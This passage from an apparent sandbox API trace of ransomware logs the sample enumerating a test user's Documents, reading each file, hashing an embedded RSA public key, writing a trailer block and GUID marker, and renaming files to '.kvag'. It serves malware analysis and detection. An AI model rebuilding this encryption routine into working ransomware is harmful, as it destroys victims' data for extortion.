PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.532] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.532] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.532] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.533] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.533] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.533] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.533] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.533] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.533] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.533] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.533] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.533] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.533] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.534] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x10b22, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.534] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.534] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.534] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.534] CloseHandle (hObject=0x61c) returned 1 [0119.535] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\QUr6Wv.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\qur6wv.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\QUr6Wv.xlsx.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\qur6wv.xlsx.kvag")) returned 1 [0119.536] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0e290d0, ftCreationTime.dwHighDateTime=0x1d4cc5a, ftLastAccessTime.dwLowDateTime=0x1578afc0, ftLastAccessTime.dwHighDateTime=0x1d4d204, ftLastWriteTime.dwLowDateTime=0x1578afc0, ftLastWriteTime.dwHighDateTime=0x1d4d204, nFileSizeHigh=0x0, nFileSizeLow=0x3de9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qvceNH5FTtN.rtf", cAlternateFileName="QVCENH~1.RTF")) returned 1 [0119.536] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\qvceNH5FTtN.rtf") returned=".rtf" [0119.536] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\qvceNH5FTtN.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\qvcenh5fttn.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.537] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=15849) returned 1 [0119.537] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.539] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x3dc3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.539] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.540] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x3de9, lpOverlapped=0x0) returned 1 [0119.541] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.541] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.541] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.541] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.542] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.542] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.542] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.542] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.542] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.542] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.542] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.542] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.542] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.542] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.543] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x3de9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.543] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.543] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.543] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.543] CloseHandle (hObject=0x61c) returned 1 [0119.544] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\qvceNH5FTtN.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\qvcenh5fttn.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\qvceNH5FTtN.rtf.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\qvcenh5fttn.rtf.kvag")) returned 1 [0119.545] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8feced0, ftCreationTime.dwHighDateTime=0x1d4c5b8, ftLastAccessTime.dwLowDateTime=0x7a485940, ftLastAccessTime.dwHighDateTime=0x1d4ce59, ftLastWriteTime.dwLowDateTime=0x7a485940, ftLastWriteTime.dwHighDateTime=0x1d4ce59, nFileSizeHigh=0x0, nFileSizeLow=0x1747c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QY6CDvI9g4eui.pptx", cAlternateFileName="QY6CDV~1.PPT")) returned 1 [0119.545] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\QY6CDvI9g4eui.pptx") returned=".pptx" [0119.545] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\QY6CDvI9g4eui.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\qy6cdvi9g4eui.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.545] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=95356) returned 1 [0119.545] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.547] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x17456, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.547] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.549] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x1747c, lpOverlapped=0x0) returned 1 [0119.550] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.550] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.550] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.550] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.551] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.551] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.551] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.551] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.551] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.551] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.551] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.551] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.551] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.552] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.552] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1747c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.552] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.552] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.553] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.553] CloseHandle (hObject=0x61c) returned 1 [0119.556] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\QY6CDvI9g4eui.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\qy6cdvi9g4eui.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\QY6CDvI9g4eui.pptx.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\qy6cdvi9g4eui.pptx.kvag")) returned 1 [0119.557] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b135d50, ftCreationTime.dwHighDateTime=0x1d4d4b5, ftLastAccessTime.dwLowDateTime=0x15286cd0, ftLastAccessTime.dwHighDateTime=0x1d4cde6, ftLastWriteTime.dwLowDateTime=0x15286cd0, ftLastWriteTime.dwHighDateTime=0x1d4cde6, nFileSizeHigh=0x0, nFileSizeLow=0xf28, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RMMC2E_QGSZx-2yz.rtf", cAlternateFileName="RMMC2E~1.RTF")) returned 1 [0119.557] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RMMC2E_QGSZx-2yz.rtf") returned=".rtf" [0119.558] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RMMC2E_QGSZx-2yz.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rmmc2e_qgszx-2yz.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.558] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=3880) returned 1 [0119.558] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.561] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xf02, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.561] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.562] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xf28, lpOverlapped=0x0) returned 1 [0119.562] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.562] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.562] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.562] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.563] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.563] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.563] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.563] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.563] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.563] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.564] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.564] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.564] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.564] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.564] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xf28, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.564] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.564] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.564] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, 